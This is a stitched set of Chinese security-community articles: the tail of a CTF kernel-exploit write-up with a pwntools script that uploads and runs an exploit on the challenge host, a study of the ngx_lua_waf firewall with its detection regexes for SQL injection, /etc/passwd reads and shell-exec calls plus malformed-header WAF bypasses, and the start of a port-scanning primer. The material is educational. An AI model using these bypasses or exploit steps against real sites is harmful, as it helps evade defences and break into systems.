[ 16.255031] ? vfs_read+0xfb/0x110
[ 16.255355] ksys_ioctl+0x66/0x70
[ 16.255582] __x64_sys_ioctl+0x16/0x20
[ 16.255829] do_syscall_64+0x55/0x110
[ 16.256102] entry_SYSCALL_64_after_hwframe+0x44/0xa9
[ 16.256469] RIP: 0033:0x4468b7
[ 16.256807] Code: 48 83 c4 08 48 89 d8 5b 5d c3 66 0f 1f 84 00 00 00 00 00 48 89 e8 48 f7 d8 48 39 c3 0f 92 c0 eb 92 66 90 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 0f 83 5d 06 fc ff c3 66 2e 0f 1f 84 00 00 00 00
[ 16.257880] RSP: 002b:00007fff98029bc8 EFLAGS: 00000246 ORIG_RAX: 0000000000000010
[ 16.258288] RAX: ffffffffffffffda RBX: 00000000004002e0 RCX: 00000000004468b7
[ 16.258653] RDX: 00007fff98029be0 RSI: ffffffffffffff01 RDI: 0000000000000003
[ 16.259016] RBP: 00007fff98029c00 R08: 0000000000000000 R09: 0000000000000000
[ 16.259694] R10: 0000000000000000 R11: 0000000000000246 R12: 00000000004073a0
[ 16.259853] R13: 0000000000407430 R14: 0000000000000000 R15: 0000000000000000
[ 16.260087] Modules linked in: note(OE)
[ 16.263528] CR2: ffffffffa5cb0460
[ 16.266388] ---[ end trace 5ced815cb65d3b46 ]--- [ 16.269277] RIP: 0010:0xffffffffc00f034f
[ 16.270061] Code: de e8 65 7d 31 e5 48 2b 2d 6e b9 ba e5 31 c0 49 89 6c 24 10 e9 eb fd ff ff 48 8b 44 24 18 49 8d 7c 24 08 48 89 de 48 83 e7 f8 <49> 89 04 24 89 e8 48 8b 54 03 f8 49 89 54 04 f8 49 29 fc 31 c0 4c
[ 16.271021] RSP: 0018:ffffb4a9c0233d40 EFLAGS: 00000282
[ 16.271331] RAX: ffffffffa4ead300 RBX: ffffb4a9c0233d58 RCX: ffffffffc00f2550
[ 16.271704] RDX: ffffffffc00f0000 RSI: ffffb4a9c0233d58 RDI: ffffffffa5cb0468
[ 16.272078] RBP: 0000000000000020 R08: ffffffffc00f0000 R09: 0000000000000000
[ 16.272486] R10: 0000000000000000 R11: 0000000000000000 R12: ffffffffa5cb0460
[ 16.272858] R13: 00007fff98029c40 R14: 00007fff98029be0 R15: 0000000000000000
[ 16.273394] FS: 0000000001524880(0000) GS:ffff9a3f0f400000(0000) knlGS:0000000000000000
[ 16.273865] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 16.274193] CR2: ffffffffa5cb0460 CR3: 000000000ea52000 CR4: 00000000003006f0
[ 16.274679] Kernel panic - not syncing: Fatal exception
[ 16.275555] Kernel Offset: 0x23e00000 from 0xffffffff81000000 (relocation range: 0xffffffff80000000-0xffffffffbfffffff)
[ 16.276853] Rebooting in 1 seconds..
## 问题
#### 1.打包错误
#重新打包后会报错，可能是/bin/busybox 给的权限不对，chmod 777再打包就可以了
mount: you must be root
mount: you must be root
mount: you must be root
/etc/init.d/rcS: line 8: can't create /proc/sys/kernel/dmesg_restrict: nonexistent directory
/etc/init.d/rcS: line 9: can't create /proc/sys/kernel/kptr_restrict: nonexistent directory insmod:
can't insert 'note.ko': Operation not permitted
#### 2.文件过大
可以参考[这篇writeup](https://thekidofarcrania.gitlab.io/2019/06/13/0ctf19-finals/)，利用[uclibc](https://www.uclibc.org/)来编译二进制文件，环境配置比较麻烦，可直接下载一个[配置好的系统](https://hub.docker.com/r/klee/uclibc)。
#### 3.上传文件并执行
#!/usr/bin/env python2
from pwn import *
def send_command(cmd, print_cmd = True, print_resp = False):
if print_cmd:
log.info(cmd)
p.sendlineafter("$", cmd)
resp = p.recvuntil("$")
if print_resp:
log.info(resp)
p.unrecv("$")
return resp
def send_file(name):
file = read(name)
f = b64e(file)
send_command("rm /home/note/a.gz.b64")
send_command("rm /home/note/a.gz")
send_command("rm /home/note/a")
size = 800
for i in range(len(f)/size + 1):
log.info("Sending chunk {}/{}".format(i, len(f)/size))
send_command("echo -n '{}'>>/home/note/a.gz.b64".format(f[i*size:(i+1)*size]), False)
send_command("cat /home/note/a.gz.b64 | base64 -d > /home/note/a.gz")
send_command("gzip -d /home/note/a.gz")
send_command("chmod +x /home/note/a")
def exploit():
send_file("exploit.gz")
#send_command("/home/note/a")
p.sendline("/home/note/a")
p.interactive()
if __name__ == "__main__":
#context.log_level = 'debug'
s = ssh(host="krazynote-3.balsnctf.com", port=54321, user="knote", password="knote", timeout=5)
p = s.shell('/bin/sh')
#p = process("./run.sh")
exploit()
## 参考
<https://www.anquanke.com/post/id/189015>
<https://pr0cf5.github.io/ctf/2019/10/10/balsn-ctf-krazynote.html>
<https://github.com/Mem2019/Mem2019.github.io/blob/master/codes/krazynote.c>
[userfaultfd使用方法](https://blog.lizzie.io/using-userfaultfd.html)
[从内核到用户空间(1) — 用户态缺页处理机制 userfaultfd
的使用](http://blog.jcix.top/2018-10-01/userfaultfd_intro/)
<http://man7.org/linux/man-pages/man2/userfaultfd.2.html>
<https://github.com/pr0cf5/CTF-writeups/blob/master/2019/BalsnCTF/knote/exploit.c> | 社区文章 |
## 一、前言
lua是一种轻量级脚本语言，具有高可扩展性特点，搭配nginx可以实现对http请求包过滤的效果，本文通过分析一个开源lua-waf项目学习nginx从攻击检测到请求拦截的过程
## 二、相关概念
### 2.1 nginx
#### 01 http请求生命周期
nginx处理http请求的逻辑是先解析请求行、请求头，再处理http请求，最后将结果过滤返回给客户端
#### 02 多阶段处理请求
处理http请求分为11个阶段，每个阶段调用一个或多个模块共同工作
名称 | 功能 | 相关模块 | 相关指令 | 注册函数
---|---|---|---|---
POST_READ | 接受完请求头后的第一个阶段，还未做处理可以获取到原始请求数据，如：读取`X-Real-IP`字段获得客户端ip |
ngx_http_realip_module | set_real_ip_from、real_ip_header、real_ip_recursive | √
SERVER_REWRITE | 处理`server`块内`location`块外的重写命令 | ngx_http_rewrite_module |
break、if、return、rewrite、set | √
FIND_CONFIG | 根据`rewrite`后的`uri`来匹配对应`location` | ngx_http_core_module |
location | /
REWRITE | 处理`location`块内的重写命令 | ngx_http_rewrite_module |
break、if、return、rewrite、set | √
POST_REWRITE | 检查上一阶段是否存在重写操作，存在则跳转至`FIND_CONFIG`阶段重新走流程 | / | / | /
PREACCESS | 限制客户端访问频率和访问数量 | http_limit_req_module、http_limit_conn_module |
limit_req、limit_req_zone、limit_req_status、limit_conn、limit_conn_zone、limit_conn_status
| √
ACCESS | 限制客户端访问，如：通过ip白名单、密码认证后才能访问 |
ngx_http_access_module、ngx_http_auth_basic_module、ngx_http_auth_request_module
| allow、deny、auth_basic、auth_basic_user_file、auth_request、auth_request_set | √
POST_ACCESS | 配合`access`阶段实现`satisfy`命令 | / | / | /
PRECONTENT | 生成结果前的预处理阶段，主要处理`try_files`和`mirror`两个模块的命令 |
http_try_files_module、ngx_http_mirror_module | try_files、mirror | /
CONTENT | 整理处理结果，生成原始http响应数据 |
ngx_http_concat_module、ngx_http_random_index_module、ngx_http_index_module、ngx_http_autoindex_module、ngx_http_static_module
| root、alias、index、autoindex、concat | √
LOG | 根据配置文件，生成日志 | ngx_http_log_module | log_format、access_log、error_log | √
#### 03 filter输出过滤
`CONTENT`阶段生成的数据存放在缓存中，经过filter处理后再发送给客户端，默认编译模块如下：
名称 | 功能 | 相关指令
---|---|---
ngx_http_slice_filter_module | 用于nginx本地切片缓存待发送给客户端的大文件 | slice
ngx_http_not_modified_filter_module | 处理`If-Modified-Since`，判断客户端缓存文件时间与服务器本地文件最后修改时间是否相同，如果存在差异则返回最新文件内容，相同则返回304状态码 |
if_modified_since
ngx_http_range_body_filter_module | 处理`Range`，根据客户端请求返回指定数据 | Range
ngx_http_copy_filter_module | 处理HTTP请求体，根据需求重新复制输出链表中的某些节点 | /
ngx_http_headers_filter_module | 处理http头部数据，如：添加任意名称请求头、响应头 |
add_header、expires
ngx_http_userid_filter_module | 设置cookie |
userid、userid_name、userid_domain、userid_path、userid_expires
ngx_http_gunzip_filter_module | 当客户端不支持gzip时，由nginx解压数据后再发送给客户端 |
gunzip、gunzip_buffers
ngx_http_addition_filter_module | 在响应之前或者之后追加文本内容，如：在网站底部追加一个js或css |
add_before_body、add_after_body、addition_types
ngx_http_sub_filter_module | 支持字符串替换 |
sub_filter、sub_filter_once、sub_filter_types、sub_filter_last_modified
ngx_http_charset_filter_module | 配置响应头`Content-Type` |
charset、charset_map、charset_types、override_charset、source_charset
ngx_http_ssi_filter_module | 支持ssi服务端嵌入功能 |
ssi、ssi_last_modified、ssi_min_file_chunk、ssi_silent_errors、ssi_types、ssi_value_length
ngx_http_postpone_filter_module | 负责处理子请求和主请求数据的输出顺序 | /
ngx_http_gzip_filter_module | 支持gzip压缩 |
gzip、gzip_min_length、gzip_proxied、gzip_types
ngx_http_range_header_filter_module | 处理range头 | /
ngx_http_v2_filter_module | 支持http2协议 |
http2_body_preread_size、http2_chunk_size、http2_idle_timeout、http2_max_concurrent_pushes、http2_max_concurrent_streams、http2_max_field_size、http2_max_header_size、http2_max_requests、http2_push、http2_push_preload、http2_recv_buffer_size、http2_recv_timeout
ngx_http_chunked_filter_module | 支持chunked | /
ngx_http_header_filter_module | 拼接响应头 | /
ngx_http_write_filter_module | 发送http响应 | /
### 2.2 lua_nginx_module
原生nginx不支持lua代码，需要手动添加三方模块`Lua-Nginx-Module`，该模块提供了指令和api支持，使得lua代码可以在nginx不同阶段执行，常见的指令和api如下：
**指令：**
指令 | 阶段 | 范围 | 功能
---|---|---|---
init_by_lua* | loading-config | http | nginx读取配置时执行，导入lua配置
set_by_lua* | rewrite | server、server if、location、location if | 设置lua变量
rewrite_by_lua* | rewrite tail | http、server、location、location if | 跳转、重定向相关
access_by_lua* | access tail | http、server、location、location if | 访问控制相关
content_by_lua* | content | location、location if | 内容生成阶段相关
header_filter_by_lua* | output-header-filter | http、server、location、location
if | 修改http响应头数据
body_filter_by_lua* | output-body-filter | http、server、location、location if |
修改http响应体数据
log_by_lua* | log | http、server、location、location if | 日志相关
**API：**
API | 范围 | 功能
---|---|---
ngx.req.raw_header |
set_by_lua、rewrite_by_lua、access_by_lua、content_by_lua、header_filter_by_lua |
获取原始的http请求头
ngx.req.get_method |
set_by_lua、rewrite_by_lua、access_by_lua、content_by_lua、header_filter_by_lua、balancer_by_lua
| 获取http请求方法，如：GET、POST
ngx.req.get_uri_args |
set_by_lua、rewrite_by_lua、access_by_lua、content_by_lua、header_filter_by_lua、body_filter_by_lua、log_by_lua、balancer_by_lua
| 获取uri中全部的args，默认最大值100
ngx.req.get_body_data | rewrite_by_lua、access_by_lua、content_by_lua、log_by_lua
| 从内存中获取http请求体
ngx.config.nginx_version |
set_by_lua、rewrite_by_lua、access_by_lua、content_by_lua、header_filter_by_lua、body_filter_by_lua、log_by_lua、init_by_lua、init_worker_by_lua
| 获取nginx版本
ngx.var.xxxx |
set_by_lua、rewrite_by_lua、access_by_lua、content_by_lua、header_filter_by_lua、body_filter_by_lua、log_by_lua
| 调用nginx变量
ngx.status |
set_by_lua、rewrite_by_lua、access_by_lua、content_by_lua、header_filter_by_lua、body_filter_by_lua、log_by_lua
| 获取http响应状态码
ngx.md5 |
set_by_lua、rewrite_by_lua、access_by_lua、content_by_lua、header_filter_by_lua、body_filter_by_lua、log_by_lua、balancer_by_lua、ssl_certificate_by_lua、ssl_session_fetch_by_lua、ssl_session_store_by_lua
| 计算数据的md5哈希值
ngx.log |
init_worker_by_lua、set_by_lua、rewrite_by_lua、access_by_lua、content_by_lua、header_filter_by_lua、body_filter_by_lua、log_by_lua、balancer_by_lua
| 日志操作
## 三、环境搭建
在nginx的环境下`--add-module`添加lua模块，同时导入[ngx_lua_waf](https://github.com/loveshell/ngx_lua_waf)项目
* centos 7.9
* nginx 1.20.1
* luajit 2.0.5
* lua-nginx-module 0.10.9
* ngx_devel_kit 0.3.0
* ngx_lua_waf 0.7.2
### 3.1 添加lua模块
#### 01 准备lua环境
# 下载并编译
wget http://luajit.org/download/LuaJIT-2.0.5.tar.gz
tar -zxvf LuaJIT-2.0.5.tar.gz
cd LuaJIT-2.0.5
make install PREFIX=/usr/local/luajit
# 设置环境变量
vi /etc/profile
export LUAJIT_LIB=/usr/local/luajit/lib
export LUAJIT_INC=/usr/local/luajit/include/luajit-2.0
source /etc/profile
echo "/usr/local/luajit/lib" >> /etc/ld.so.conf
ldconfig
#### 02 准备ndk模块
wget https://github.com/simpl/ngx_devel_kit/archive/v0.3.0.tar.gz
tar -zxvf v0.3.0.tar.gz
#### 03 准备lnm模块
wget https://github.com/openresty/lua-nginx-module/archive/v0.10.9rc7.tar.gz
tar -zxvf v0.10.9rc7.tar.gz
#### 04 添加lua模块
# 准备nginx安装包
wget http://nginx.org/download/nginx-1.20.1.tar.gz
tar -zxvf nginx-1.20.1.tar.gz
cd nginx-1.20.1
# 查看原始编译，在末尾处添加ndk、lnm文件路径
# --add-module=/waf/ngx_devel_kit-0.3.0
# --add-module=/waf/lua-nginx-module-0.10.9rc7
nginx -V
./configure --prefix=/usr/share/nginx --sbin-path=/usr/sbin/nginx --modules-path=/usr/lib64/nginx/modules --conf-path=/etc/nginx/nginx.conf --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --http-client-body-temp-path=/var/lib/nginx/tmp/client_body --http-proxy-temp-path=/var/lib/nginx/tmp/proxy --http-fastcgi-temp-path=/var/lib/nginx/tmp/fastcgi --http-uwsgi-temp-path=/var/lib/nginx/tmp/uwsgi --http-scgi-temp-path=/var/lib/nginx/tmp/scgi --pid-path=/run/nginx.pid --lock-path=/run/lock/subsys/nginx --user=nginx --group=nginx --with-compat --with-debug --with-file-aio --with-google_perftools_module --with-http_addition_module --with-http_auth_request_module --with-http_dav_module --with-http_degradation_module --with-http_flv_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_image_filter_module=dynamic --with-http_mp4_module --with-http_perl_module=dynamic --with-http_random_index_module --with-http_realip_module --with-http_secure_link_module --with-http_slice_module --with-http_ssl_module --with-http_stub_status_module --with-http_sub_module --with-http_v2_module --with-http_xslt_module=dynamic --with-mail=dynamic --with-mail_ssl_module --with-pcre --with-pcre-jit --with-stream=dynamic --with-stream_ssl_module --with-stream_ssl_preread_module --with-threads --with-cc-opt='-O2 -g -pipe -Wall -Wp,-D_FORTIFY_SOURCE=2 -fexceptions -fstack-protector-strong --param=ssp-buffer-size=4 -grecord-gcc-switches -specs=/usr/lib/rpm/redhat/redhat-hardened-cc1 -m64 -mtune=generic' --with-ld-opt='-Wl,-z,relro -specs=/usr/lib/rpm/redhat/redhat-hardened-ld -Wl,-E' --add-module=/waf/ngx_devel_kit-0.3.0 --add-module=/waf/lua-nginx-module-0.10.9rc7
systemctl stop nginx
# configure无法通过，补环境
error: SSL modules require the OpenSSL library
yum -y install openssl openssl-devel
error: the HTTP XSLT module requires the libxml2/libxslt libraries.
yum -y install libxslt-devel
error: the HTTP image filter module requires the GD library
yum -y install gd gd-devel
error: the Google perftools module requires the Google perftools library
yum -y install gperftools
# 编译
make
cd ./objs
# 备份原文件，拷贝新文件
which nginx
mv /usr/sbin/nginx /usr/sbin/nginx.old
cp nginx /usr/sbin/nginx
systemctl restart nginx
#### 05 访问测试
# 测试使用content_by_lua响应http请求
vi /etc/nginx/nginx.conf
server {
listen 80;
listen [::]:80;
server_name _;
root /usr/share/nginx/html;
location /lua {
default_type 'text/html';
content_by_lua 'ngx.say("hello lua")';
}
nginx -s reload
curl 127.0.0.1/lua
### 3.2 加载lua-waf
# 下载文件
wget https://github.com/loveshell/ngx_lua_waf/archive/refs/tags/v0.7.2.tar.gz
tar -zxvf v0.7.2.tar.gz
cp -r ngx_lua_waf-0.7.2 /etc/nginx/conf.d/waf/
# 修改配置文件路径
vi /etc/nginx/conf.d/waf/config.lua
RulePath = "/etc/nginx/conf.d/waf/wafconf/"
attacklog = "on"
logdir = "/var/log/nginx/attacklog/"
# 写入nginx
vi /etc/nginx/nginx.conf
http {
...
# lua_waf
lua_package_path "/etc/nginx/conf.d/waf/?.lua";
lua_shared_dict limit 10m;
init_by_lua_file /etc/nginx/conf.d/waf/init.lua;
access_by_lua_file /etc/nginx/conf.d/waf/waf.lua;
}
nginx -s reload
### 3.3 测试
向网站发送攻击语句，被拦截返回403，配置成功
http://ip/?id=<script>alert(1)</script>
日志已记录攻击语句
## 四、过程分析
### 4.1 静态分析
[ngx_lua_waf](https://github.com/loveshell/ngx_lua_waf)源文件由四大块组成：
* 配置文件：`config.lua`
* 初始化文件：`init.lua`
* 规则库文件：`wafconf`
* 执行文件：`waf.lua`
.
├── README.md
├── config.lua
├── init.lua
├── install.sh
├── waf.lua
└── wafconf
├── args
├── cookie
├── post
├── url
├── user-agent
└── whiteurl
在nginx配置文件中使用`lua_ngx_module`模块提供的`init_by_lua_file`指令和`access_by_lua_file`指令添加项目，nginx在读取配置阶段会导入`init.lua`配置、访问控制阶段会执行`waf.lua`流程处理http请求包
http {
...
# lua_waf
lua_package_path "/etc/nginx/conf.d/waf/?.lua";
lua_shared_dict limit 10m;
init_by_lua_file /etc/nginx/conf.d/waf/init.lua;
access_by_lua_file /etc/nginx/conf.d/waf/waf.lua;
...
}
通过配置文件知道核心文件是`waf.lua`，嵌入在nginx处理http请求11个阶段的`access`阶段，此时刚与客户端建立tcp连接传输完http报文待nginx处理，lua代码可以调用api对请求包过滤实现访问控制，拒绝不符合规则的请求
#### 01 配置文件
**config.lua**
配置具体检查项及拦截后的页面，如：`CookieMatch`开启后会进入cookie检查流程、请求不符合规则则返回`html`
RulePath = "/usr/local/nginx/conf/waf/wafconf/"
attacklog = "on"
logdir = "/usr/local/nginx/logs/hack/"
UrlDeny="on"
Redirect="on"
CookieMatch="on"
postMatch="on"
whiteModule="on"
black_fileExt={"php","jsp"}
ipWhitelist={"127.0.0.1"}
ipBlocklist={"1.0.0.1"}
CCDeny="off"
CCrate="100/60"
html=[[ 403 ]]
#### 02 初始化文件
**init.lua**
* 日志记录，格式为：客户端ip + 请求时间 + 拦截模块 + 服务器名 + url + '-' + ua + 拦截规则
function log(method,url,data,ruletag)
if attacklog then
local realIp = getClientIp()
local ua = ngx.var.http_user_agent
local servername=ngx.var.server_name
local time=ngx.localtime()
if ua then
line = realIp.." ["..time.."] \""..method.." "..servername..url.."\" \""..data.."\" \""..ua.."\" \""..ruletag.."\"\n"
else
line = realIp.." ["..time.."] \""..method.." "..servername..url.."\" \""..data.."\" - \""..ruletag.."\"\n"
end
local filename = logpath..'/'..servername.."_"..ngx.today().."_sec.log"
write(filename,line)
end
end
* 定义函数检查内容，如：`args()`函数，调用`lua_ngx_module`模块提供的`ngx.req.get_uri_args()`api获取args，再与规则库`argsrules`做正则匹配，匹配成功则日志记录相关信息，最后`say_html()`返回拦截后的页面
function args()
for _,rule in pairs(argsrules) do
local args = ngx.req.get_uri_args()
for key, val in pairs(args) do
if type(val)=='table' then
if val ~= false then
data=table.concat(val, " ")
end
else
data=val
end
if data and type(data) ~= "boolean" and rule ~="" and ngxmatch(unescape(data),rule,"isjo") then
log('GET',ngx.var.request_uri,"-",rule)
say_html()
return true
end
end
end
return false
end
#### 03 规则库文件
匹配恶意字符串的具体规则，如：`args`中有注入、包含、ssrf等常见敏感字符
\.\./
\:\$
\$\{
select.+(from|limit)
(?:(union(.*?)select))
having|rongjitest
sleep\((\s*)(\d*)(\s*)\)
benchmark\((.*)\,(.*)\)
base64_decode\(
(?:from\W+information_schema\W)
(?:(?:current_)user|database|schema|connection_id)\s*\(
(?:etc\/\W*passwd)
into(\s+)+(?:dump|out)file\s*
group\s+by.+\(
xwork.MethodAccessor
(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|preg_\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\(
xwork\.MethodAccessor
(gopher|doc|php|glob|file|phar|zlib|ftp|ldap|dict|ogg|data)\:\/
java\.lang
\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\[
\<(iframe|script|body|img|layer|div|meta|style|base|object|input)
(onmouseover|onerror|onload)\=
#### 04 执行文件
调用`init.lua`已定义的函数对http请求包做过滤处理，内容有：
* ip白名单
--[[
ngx.var.remote_addr api获取的ip值与config.lua中ipWhitelist做白名单匹配
]]
function whiteip()
if next(ipWhitelist) ~= nil then
for _,ip in pairs(ipWhitelist) do
if getClientIp()==ip then
return true
end
end
end
return false
end
* ip黑名单
--[[
ngx.var.remote_addr api获取的ip值与config.lua中ipBlocklist做黑名单匹配
]]
function blockip()
if next(ipBlocklist) ~= nil then
for _,ip in pairs(ipBlocklist) do
if getClientIp()==ip then
ngx.exit(403)
return true
end
end
end
return false
end
* 请求频率限制
--[[
ngx.shared.limit申请一个共享空间用于请求计数
每收到一个请求便会生成一个由$remote_addr和$uri组成的token，然后对token与limit数据进行做存在性匹配
不存在则将token写入共享空间，此时计数为1，过期时间为config.lua配置的CCrate值，初始值为60秒
存在则进行请求数量判断，当超过config.lua配置的CCrate参数值100次时返回503错误
没有超过阀值便会incr(token,1)新增1次请求数
]]
function denycc()
if CCDeny then
local uri=ngx.var.uri
CCcount=tonumber(string.match(CCrate,'(.*)/')) -- 100/
CCseconds=tonumber(string.match(CCrate,'/(.*)')) -- /60
local token = getClientIp()..uri -- 生成token 1.1.1.1/abc
local limit = ngx.shared.limit -- 初始化共享空间
local req,_=limit:get(token) -- 新token与共享空间做匹配
if req then -- 匹配成功，进入cc检测
if req > CCcount then -- 判断是否大于100
ngx.exit(503) -- 返回503
return true
else -- 存在token，但是没有达到100个数量
limit:incr(token,1) -- 请求数增加1
end
else -- 匹配失败，共享空间新增一个token，计数1，60秒过期时间
limit:set(token,1,CCseconds)
end
end
return false
end
* url白名单
--[[
ngx.var.uri api获取的uri与规则库提取的whiteurl做白名单匹配
]]
function whiteurl()
if WhiteCheck then
if wturlrules ~=nil then
for _,rule in pairs(wturlrules) do
if ngxmatch(ngx.var.uri,rule,"isjo") then
return true
end
end
end
end
return false
end
* ua检查
--[[
ngx.var.http_user_agent api获取的ua值与规则库提取的uarules做黑名单匹配
匹配成功时调用log()函数记录日志，并返回403页面
]]
function ua()
local ua = ngx.var.http_user_agent
if ua ~= nil then
for _,rule in pairs(uarules) do
if rule ~="" and ngxmatch(ua,rule,"isjo") then
log('UA',ngx.var.request_uri,"-",rule)
say_html()
return true
end
end
end
return false
end
* url检查
--[[
ngx.var.request_uri api获取的url与规则库提取的urlrules做黑名单匹配
匹配成功时调用log()函数记录日志，并返回403页面
]]
function url()
if UrlDeny then
for _,rule in pairs(urlrules) do
if rule ~="" and ngxmatch(ngx.var.request_uri,rule,"isjo") then
log('GET',ngx.var.request_uri,"-",rule)
say_html()
return true
end
end
end
return false
end
* args检查
--[[
ngx.req.get_uri_args() api获取url的args
判断args值是否为table类型，如果是则使用concat拼接数据
再将args的值与规则库提取的argsrules做黑名单匹配
匹配成功时调用log()函数记录日志，并返回403页面
]]
function args()
for _,rule in pairs(argsrules) do
local args = ngx.req.get_uri_args()
for key, val in pairs(args) do
if type(val)=='table' then
if val ~= false then
data=table.concat(val, " ")
end
else
data=val
end
if data and type(data) ~= "boolean" and rule ~="" and ngxmatch(unescape(data),rule,"isjo") then
log('GET',ngx.var.request_uri,"-",rule)
say_html()
return true
end
end
end
return false
end
* cookie检查
--[[
ngx.var.http_cookie api获取的cookie与规则库提取的ckrules做黑名单匹配
匹配成功时调用log()函数记录日志，并返回403页面
]]
function cookie()
local ck = ngx.var.http_cookie
if CookieCheck and ck then
for _,rule in pairs(ckrules) do
if rule ~="" and ngxmatch(ck,rule,"isjo") then
log('Cookie',ngx.var.request_uri,"-",rule)
say_html()
return true
end
end
end
return false
end
* body检查
post方法：
--[[
ngx.req.init_body api创建一个4k的缓存区，sock接收每个请求最大4k数据进行检查
正则匹配请求体数据，发现Content-Disposition: form-data时进入文件检查流程，对文件后缀名与规则库提取的black_fileExt做黑名单匹配
然后对请求体与规则库提取的postrules做黑名单匹配
匹配成功时调用log()函数记录日志，并返回403页面
]]
ngx.req.init_body(128 * 1024) -- buffer 128k
sock:settimeout(0)
local content_length = nil
content_length=tonumber(ngx.req.get_headers()['content-length']) -- 获取请求包总长度
local chunk_size = 4096
if content_length < chunk_size then
chunk_size = content_length
local data, err, partial = sock:receive(chunk_size) -- 默认最大取4k数据
data = data or partial
ngx.req.append_body(data)
local m = ngxmatch(data,[[Content-Disposition: form-data;(.+)filename="(.+)\\.(.*)"]],'ijo') -- 匹配form-data
if m then
fileExtCheck(m[3]) -- 匹配后缀名
filetranslate = true
else
if ngxmatch(data,"Content-Disposition:",'isjo') then
filetranslate = false
end
if filetranslate==false then
if body(data) then -- 调用body()检查请求体
return true
end
end
end
ngx.req.finish_body()
非post方法：
--[[
ngx.req.get_post_args api获取body部分的args
判断args值是否为table类型，如果是则使用concat拼接数据
再将args的值与规则库提取的postrules做黑名单匹配
匹配成功时调用log()函数记录日志，并返回403页面
]]
ngx.req.read_body()
local args = ngx.req.get_post_args()
if not args then
return
end
for key, val in pairs(args) do
if type(val) == "table" then
if type(val[1]) == "boolean" then
return
end
data=table.concat(val, ", ")
else
data=val
end
if data and type(data) ~= "boolean" and body(data) then
body(key)
end
end
#### 04 小结
### 4.2 debug分析
开启debug模式，配置`content_by_lua`指令处理请求
error_log /var/log/nginx/error.log debug;
http {
...
server{
...
location /test {
default_type 'text/html';
content_by_lua "ngx.say('ok')";
}
}
}
post方式向服务器发送`a='/etc/passwd'`，返回403拦截
查看debug日志：
1. 建立连接，nginx解析http请求
2. 进入lua access阶段
3. 进入lua_waf检查流程
4. 检查流程结束，进入filter阶段，发送返回包
### 4.3 绕过分析
#### 01 不规则的http请求包绕过
lua-waf基于nginx和ngx_lua_module，调用api获取原始http请求包，如果包内存在不符合RFC标准的数据则无法进入lua检查流程，如：body检查post请求时会先用正则匹配请求包是否包含`Content-Disposition: form-data;`关键字，匹配成功才会进入下一步后缀检查流程
-- waf.lua
local m = ngxmatch(data,[[Content-Disposition: form-data;(.+)filename="(.+)\\.(.*)"]],'ijo')
if m then
fileExtCheck(m[3]) -- 匹配后缀名
filetranslate = true
当使用畸形的http请求时便绕过了waf检查
# Content-Disposition值大小写
Content-Disposition: form-datA; name="file"; filename="aaa.php"
Content-Type: image/png
# Content-Disposition值为空
Content-Disposition: ; name="file"; filename="aaa.php"
Content-Type: image/png
# Content-Disposition值多余数据
Content-Disposition: ~form-data; name="file"; filename="aaa.php"
Content-Type: image/png
#### 02 不安全的api接口绕过
lua代码中用到了lua_ngx_module提供的`ngx.req.get_uri_args()`、`ngx.req.get_headers()`、`ngx.req.get_post_args()`接口来获取http请求args和headers的值，默认配置下这三个接口最大接收前100个值，即超过100时不再接收，由此便存在绕过情况
当恶意args写入在100时，返回403被拦截
当恶意args写入在101时，lua代码对前100个参数进行检查无误后放行，便绕过了waf检查
搜索lua_ngx_module源码，发现默认值为100的方法还有：
* `ngx.decode_args` 对args解码
* `ngx.resp.get_headers` 获取response头
lua_ngx_module 0.10.13版本已修复该问题，当超过最大数量限制时会返回一个`truncated`字符串
> Since v0.10.13, when the limit is exceeded, it will return a second value
> which is the string "truncated".
#### 03 不设限的请求长度绕过
在进行body检查阶段，检测到post方法时会取请求的前4k数据进行检查，把恶意数据写入在4k之后便可以绕过waf
-- waf.lua
local chunk_size = 4096
if content_length < chunk_size then
chunk_size = content_length
local data, err, partial = sock:receive(chunk_size)
## 五、参考
* <https://nginx.org/en/docs/>
* <https://blogs.vicsdf.com/article/4766>
* <https://www.aikaiyuan.com/12438.html>
* <https://iziyang.github.io/2020/04/12/5-nginx/>
* <https://roombox.xdf.cn/blog/nginx-eleven-phase/>
* <https://www.cnblogs.com/-wenli/p/13535173.html>
* <http://tengine.taobao.org/book/chapter_12.html#id8>
* <https://joychou.org/web/how-to-build-cloud-waf.html>
* <https://mp.weixin.qq.com/s/tGfoA75QoHZEXPrccQiYMg>
* <https://www.cnblogs.com/wangxusummer/p/4309007.html>
* <https://joychou.org/web/nginx-Lua-waf-general-bypass-method.html> | 社区文章 |
# 浅析端口扫描原理
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
自觉对于端口扫描只是浅显的停留在nmap的几条命令，因此花了点时间了解了一下端口扫描器是如何运作的，并且使用python写了一个简单的端口扫描器，笔者目的不在于替代nmap等主流端扫的作用，只是为了更深入地了解端口扫描器运作的原理。
本文以nmap中常见的扫描技术的原理展开叙述。
## 端口
每一个ip地址可以有2^16=65535个端口，其中分成了两类，一类是TCP，另一类是UDP；TCP是面向连接的，可靠的字节流服务，UDP是面向非连接的，不可靠的数据报服务；在实现端口扫描器时需要针对这两种分别进行扫描。
每一个端口只能被用于一个服务，例如常见的80端口就被用于挂载http服务，3306则是mysql，而nmap中对于端口的定义存在着六种状态：
* open(开放的)
* close(关闭的)
* filtered(被过滤的)
* unfiltered(未被过滤的)
* open|filtered(开放或者被过滤的)
* closed|filtered(关闭或者被过滤的)
对于这6种状态我在后文中会陆续提到；端口扫描器要做的就是扫出各个端口的状态，并且探测到存活的端口中存在着的服务。
## TCP
因为扫描TCP端口时需要用到TCP的知识，因此，在此之前有必要再复习一下TCP协议的那些事，也就是TCP的三次握手：
* 第一次握手：
客户端主动发送SYN给服务端，SYN序列号假设为J（此时服务器是被动接受）。
* 第二次握手
服务端接受到客户端发送的SYN(J)后，发送一个SYN(J+1)和ACK(K)给客户端。
* 第三次握手
客户端接受到新的SYN(K)和ACK(J+1)后，也发送一个ACK(K+1)给服务端，此时连接建立，双方可以进行通信。
而发送TCP包的连接状态是由一个名为标志位(flags)来决定的，它存在一下几种：
* F : FIN – 结束; 结束会话
* S : SYN – 同步; 表示开始会话请求
* R : RST – 复位;中断一个连接
